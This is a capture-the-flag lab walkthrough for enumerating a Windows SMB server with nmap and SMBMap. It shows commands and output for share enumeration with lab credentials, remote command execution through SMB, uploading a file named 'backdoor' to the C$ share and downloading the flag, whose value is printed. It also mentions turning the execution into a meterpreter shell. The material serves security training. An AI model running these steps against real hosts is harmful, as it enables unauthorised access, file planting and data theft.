



Name	Windows Recon: SMB: SMBMap
URL	https://attackdefense.com/challengedetails?cid=2221
Type	Windows Reconnaissance: SMB

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Checking the target IP address.

Note: The target IP address is stored in the “target” file.

Command: cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address : 10.0.28.123
root@attackdefense:~# █
```

Step 2: Run a Nmap scan against the target IP.

Command: nmap 10.0.28.123

```

root@attackdefense:~# nmap 10.0.28.123
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-22 16:47 IST
Nmap scan report for 10.0.28.123
Host is up (0.0012s latency).
Not shown: 991 closed ports
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
3389/tcp   open  ms-wbt-server
49152/tcp  open  unknown
49153/tcp  open  unknown
49154/tcp  open  unknown
49155/tcp  open  unknown
49165/tcp  open  unknown

Nmap done: 1 IP address (1 host up) scanned in 14.56 seconds
root@attackdefense:~# █

```

Step 3: We have discovered that multiple ports are open. SMB port 445 is also exposed. We will run Nmap script to list the supported protocols and dialects of an SMB server.

Command: `nmap -p445 --script smb-protocols 10.0.28.123`

```

root@attackdefense:~# nmap -p445 --script smb-protocols 10.0.28.123
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-22 16:47 IST
Nmap scan report for 10.0.28.123
Host is up (0.0015s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds

Host script results:
| smb-protocols:
|   dialects:
|     NT LM 0.12 (SMBv1) [dangerous, but default]
|     2.02
|     2.10
|     3.00
|_    3.02

Nmap done: 1 IP address (1 host up) scanned in 19.38 seconds
root@attackdefense:~# █

```

We have the credentials to access the SMB server. i.e **administrator:smbserver_771**

We will use the smbmap python script to enumerate the target machine.

Step 4: Running smbmap tool to discover all shared folders and drives.

We will find all the shared folders using a guest user account.

Command: smbmap -u guest -p "" -d . -H 10.0.28.123

```
root@attackdefense:~# smbmap -u guest -p "" -d . -H 10.0.28.123
[+] Guest session      IP: 10.0.28.123:445      Name: unknown
  Disk
  ----
  ADMIN$              NO ACCESS      Remote Admin
  C                   NO ACCESS
  C$                  NO ACCESS      Default share
  D$                  NO ACCESS      Default share
  Documents            NO ACCESS
  Downloads            NO ACCESS
  IPC$                READ ONLY      Remote IPC
  print$              READ ONLY      Printer Drivers
root@attackdefense:~#
```

We can notice that the guest account is enabled and it doesn't have permission to write on any of the shared folders.

Running smbmap with administrator user credentials.

Command: smbmap -u administrator -p smbserver_771 -d . -H 10.0.28.123

```
root@attackdefense:~# smbmap -u administrator -p smbserver_771 -d . -H 10.0.28.123
[+] IP: 10.0.28.123:445 Name: unknown
  Disk
  ----
  ADMIN$              READ, WRITE    Remote Admin
  C                   READ ONLY
  C$                  READ, WRITE    Default share
  D$                  READ, WRITE    Default share
  Documents            READ ONLY
  Downloads            READ ONLY
  IPC$                READ ONLY      Remote IPC
  print$              READ, WRITE    Printer Drivers
root@attackdefense:~#
```

We can notice that we have found all the shares along with their permissions and the comments.

Step 5: Execute the command on the target machine through SMB.

Command: smbmap -H 10.0.28.123 -u administrator -p smbserver_771 -x 'ipconfig'

```
root@attackdefense:~# smbmap -H 10.0.28.123 -u administrator -p smbserver_771 -x 'ipconfig'
Windows IP Configuration

Ethernet adapter Ethernet 2:

    Connection-specific DNS Suffix  . : ap-southeast-1.compute.internal
    Link-local IPv6 Address . . . . . : fe80::8409:25e7:48ac:9fcf%12
    IPv4 Address. . . . . : 10.0.28.123
    Subnet Mask . . . . . : 255.255.240.0
    Default Gateway . . . . . : 10.0.16.1

Tunnel adapter isatap.ap-southeast-1.compute.internal:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . : ap-southeast-1.compute.internal
root@attackdefense:~#
```

We can execute the commands on the target machine without any issue. You can abuse this and gain a normal or meterpreter shell. In this lab, we will be focusing on enumeration using smbmap, without gaining the shell.

Step 6: Listing all drives on the specified host

Command: smbmap -H 10.0.28.123 -u Administrator -p 'smbserver_771' -L

```
root@attackdefense:~# smbmap -H 10.0.28.123 -u Administrator -p 'smbserver_771' -L
[+] Host 10.0.28.123 Local Drives: C:\ D:\
[+] Host 10.0.28.123 Net Drive(s):
    No mapped network drives
root@attackdefense:~#
```

Step 7: List contents of the directory of C:\ drive.

Command: smbmap -H 10.0.28.123 -u Administrator -p 'smbserver_771' -r 'C\$'


```

root@attackdefense:~# smbmap -H 10.0.28.123 -u Administrator -p 'smbserver_771' -r 'C$'
[+] IP: 10.0.28.123:445 Name: unknown
  Disk                                     Permissions      Comment
  ----                                     -
  C$                                     READ, WRITE
  .\C$\*
  dr--r--r--          0 Sat Sep  5 13:26:00 2020  $Recycle.Bin
  fw--w--w--    398356 Wed Aug 12 10:47:41 2020  bootmgr
  fr--r--r--          1 Wed Aug 12 10:47:40 2020  BOOTNXT
  dr--r--r--          0 Wed Aug 12 10:47:41 2020  Documents and Settings
  fr--r--r--          32 Mon Dec 21 21:27:10 2020  flag.txt
  fr--r--r--    8589934592 Tue Dec 22 16:44:39 2020  pagefile.sys
  dr--r--r--          0 Wed Aug 12 10:49:32 2020  PerfLogs
  dw--w--w--          0 Wed Aug 12 10:49:32 2020  Program Files
  dr--r--r--          0 Sat Sep  5 14:35:45 2020  Program Files (x86)
  dr--r--r--          0 Sat Sep  5 14:35:45 2020  ProgramData
  dr--r--r--          0 Sat Sep  5 09:16:57 2020  System Volume Information
  dw--w--w--          0 Sat Dec 19 11:14:55 2020  Users
  dr--r--r--          0 Tue Dec 22 17:00:35 2020  Windows
root@attackdefense:~# █

```

We have found all the files and directories which are present inside C:\ drive.

We can also upload a file using the smbmap tool if we have the write permission on the shared folder.

Step 8: Uploading a sample file

Commands: touch backdoor

smbmap -H 10.0.28.123 -u Administrator -p 'smbserver_771' --upload '/root/backdoor' 'C\$\backdoor'

```

root@attackdefense:~# touch backdoor
root@attackdefense:~# smbmap -H 10.0.28.123 -u Administrator -p 'smbserver_771' --upload '/root/backdoor' 'C$\backdoor'
[+] Starting upload: /root/backdoor (0 bytes)
[+] Upload complete
root@attackdefense:~# █

```

Verify that the files have been uploaded on the target machine.

Command: smbmap -H 10.0.28.123 -u Administrator -p 'smbserver_771' -r 'C\$'

```

root@attackdefense:~# smbmap -H 10.0.28.123 -u Administrator -p 'smbserver_771' -r 'C$'
[+] IP: 10.0.28.123:445 Name: unknown
Disk
----
C$
Permissions
-----
READ, WRITE
Comment
-----
.\C$*
dr--r--r--      0 Sat Sep  5 13:26:00 2020 $Recycle.Bin
fr--r--r--      0 Tue Dec 22 17:03:29 2020 backdoor
fw--w--w--    398356 Wed Aug 12 10:47:41 2020 bootmgr
fr--r--r--      1 Wed Aug 12 10:47:40 2020 BOOTNXT
dr--r--r--      0 Wed Aug 12 10:47:41 2020 Documents and Settings
fr--r--r--     32 Mon Dec 21 21:27:10 2020 flag.txt
fr--r--r--    8589934592 Tue Dec 22 16:44:39 2020 pagefile.sys
dr--r--r--      0 Wed Aug 12 10:49:32 2020 PerfLogs
dw--w--w--      0 Wed Aug 12 10:49:32 2020 Program Files
dr--r--r--      0 Sat Sep  5 14:35:45 2020 Program Files (x86)
dr--r--r--      0 Sat Sep  5 14:35:45 2020 ProgramData
dr--r--r--      0 Sat Sep  5 09:16:57 2020 System Volume Information
dw--w--w--      0 Sat Dec 19 11:14:55 2020 Users
dr--r--r--      0 Tue Dec 22 17:00:35 2020 Windows
root@attackdefense:~#

```

We have successfully uploaded the file.

Step 9: Download the flag.txt file.

Commands: `smbmap -H 10.0.28.123 -u Administrator -p 'smbserver_771' --download 'C$\flag.txt'`
`cat /root/10.0.28.123-C_flag.txt`

```

root@attackdefense:~# smbmap -H 10.0.28.123 -u Administrator -p 'smbserver_771' --download 'C$\flag.txt'
[+] Starting download: C$\flag.txt (32 bytes)
[+] File output to: /root/10.0.28.123-C_flag.txt
root@attackdefense:~# cat /root/10.0.28.123-C_flag.txt
25f492dbef8453cdca69a173a75790f0root@attackdefense:~#

```

This reveals the flag to us.

Flag: 25f492dbef8453cdca69a173a75790f0

References:

1. SMBMap (<https://github.com/ShawnDEvans/smbmap>)